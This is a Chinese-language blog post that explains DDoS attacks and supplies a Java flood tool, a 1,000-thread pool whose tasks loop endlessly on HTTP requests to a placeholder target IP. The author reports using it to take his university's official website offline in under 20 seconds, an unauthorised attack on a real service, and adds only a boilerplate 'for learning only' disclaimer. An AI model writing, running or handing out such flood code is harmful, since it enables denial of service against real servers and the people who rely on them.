DDoS攻擊簡單理解及Java實現
阿新 • • 發佈:2019-01-28
以前租雲伺服器,會看到DDoS防禦的選項,由於租用的是測試伺服器,也從來沒選過這個選項.
今天,我們就聊一聊DDoS攻擊是怎麼回事.
首先,我花了一張圖來簡單的描述一下這個過程.
黑客機一般會控制幾百臺,甚至上千臺肉雞,同時訪問一臺伺服器,造成伺服器的網路阻塞甚至癱瘓.
我將這個過程描述為DDoS攻擊,這只是我個人的理解,如果有什麼其他的見解,可以在評論區評論或者加微信私聊我,
黑客一般會在肉雞上安裝代理通訊程式,一旦黑客機啟動,大量的肉雞便開始進行攻擊.
那麼看一下在Java中該如何實現呢.
首先看一下我的第一種思路(錯誤的);
利用Java的定時任務
public static void main(String[] args){ Timer time = newTimer(); time.schedule(new Mytast(), 1000, 1); //1s之後開始執行,每1秒執行1000次,引數單位(毫秒) }
Mytask中是一個訪問url請求的執行緒.
結果發現,請求是成功的,結果測試方的網站並沒有受到一絲影響.
原因是什麼呢,我們只有一個執行緒,雖然定時器定時器定義的是每秒執行1000次,速度是完全達不到的,而且在Mytask中我還模擬了瀏覽器訪問,不僅佔用了大量的本地網路資源,還沒什麼用.
後來想到使用多執行緒來模擬多個肉雞同時攻擊,劃重點,是同時,不是有順序的一個一個攻擊.只有同時大量的訪問才會對目標伺服器造成影響.
下面的程式碼借鑑了網上的方案,找了半天都是轉載,也沒找到原創作者,在此先表以致謝,我也是開源世界中的一員,畢竟共同進步才是進步嘛!
import java.io.BufferedInputStream; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; /** * Created by 94829 on 2018-06-13. */ public class ddos { public static voidmain(String[] args) { //利用執行緒池建立1000個執行緒 ExecutorService es = Executors.newFixedThreadPool(1000); Mythread mythread = new Mythread(); Thread thread = new Thread(mythread); for (int i = 0; i < 10000; i++) { es.execute(thread); } } } class Mythread implements Runnable { public void run() { while (true) { try { URL url = new URL("http://你要攻擊的IP/"); URLConnection conn = url.openConnection(); System.out.println("發包成功!"); BufferedInputStream bis = new BufferedInputStream( conn.getInputStream()); byte[] bytes = new byte[1024]; int len = -1; StringBuffer sb = new StringBuffer(); if (bis != null) { if ((len = bis.read()) != -1) { sb.append(new String(bytes, 0, len)); System.out.println("攻擊成功!"); bis.close(); } } } catch (MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } }
我是用我們學校的伺服器作為測試物件的,大學的官網伺服器是最容易測試的.
不到20秒就已經無法訪問了,也算是完成的簡單的DDoS攻擊.
宣告:以上程式碼僅供學習,請勿用於非法途徑,如不聽勸告,造成的後果,自行承擔.
富強、民主、文明、和諧、自由、平等、公正、法治 、愛國、敬業、誠信、友善;